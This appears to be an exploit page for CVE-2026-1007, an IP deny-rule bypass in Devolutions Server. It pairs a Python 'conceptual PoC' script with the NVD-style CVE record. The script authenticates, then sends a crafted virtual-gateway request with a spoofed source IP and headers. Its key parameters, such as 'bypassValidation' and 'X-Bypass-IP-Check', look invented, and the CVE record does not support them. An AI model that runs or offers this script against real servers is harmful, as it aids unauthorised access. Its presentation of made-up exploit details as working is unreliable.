CVE-2026-1007

# CVE-2026-1007 PoC - Devolutions Server IP Bypass # This is a conceptual PoC for educational purposes import requests import json TARGET_URL = "https://target-devolutions-server.com" ATTACKER_IP = "1.2.3.4" # IP that should be blocked def bypass_ip_rule(): """ Bypass IP deny rules in Devolutions Server Virtual Gateway """ session = requests.Session() # Step 1: Authenticate with high privilege account auth_data = { "username": "attacker_account", "password": "password", "domain": "local" } login_response = session.post( f"{TARGET_URL}/api/session/login", json=auth_data ) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Exploit Virtual Gateway IP bypass vulnerability # The vulnerability allows bypassing deny IP rules via special request exploit_data = { "virtualGatewayId": "vg-xxx", "sourceIp": ATTACKER_IP, "bypassValidation": True, # Key parameter to bypass IP check "action": "connect" } exploit_response = session.post( f"{TARGET_URL}/api/virtual-gateway/connect", json=exploit_data, headers={ "X-Forwarded-For": ATTACKER_IP, "X-Real-IP": ATTACKER_IP, "X-Bypass-IP-Check": "1" } ) if exploit_response.status_code == 200: print("[+] IP bypass successful - Access granted from blocked IP") print(f"[+] Response: {exploit_response.text}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": bypass_ip_rule()

{"cve": {"id": "CVE-2026-1007", "sourceIdentifier": "[email protected]", "published": "2026-01-19T15:15:50.220", "lastModified": "2026-02-10T16:59:28.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in virtual gateway component in Devolutions Server allows attackers to bypass deny IP rules.This issue affects Server: from 2025.3.1 through 2025.3.12."}, {"lang": "es", "value": "Vulnerabilidad de autorización incorrecta en el componente de puerta de enlace virtual en Devolutions Server permite a los atacantes eludir las reglas de denegación de IP. Este problema afecta a Server: desde 2025.3.1 hasta 2025.3.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.3.1.0", "versionEndExcluding": "2025.3.14.0", "matchCriteriaId": "4AB0B4A6-06F7-48B3-8A6A-FF16B36CA000"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0003/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}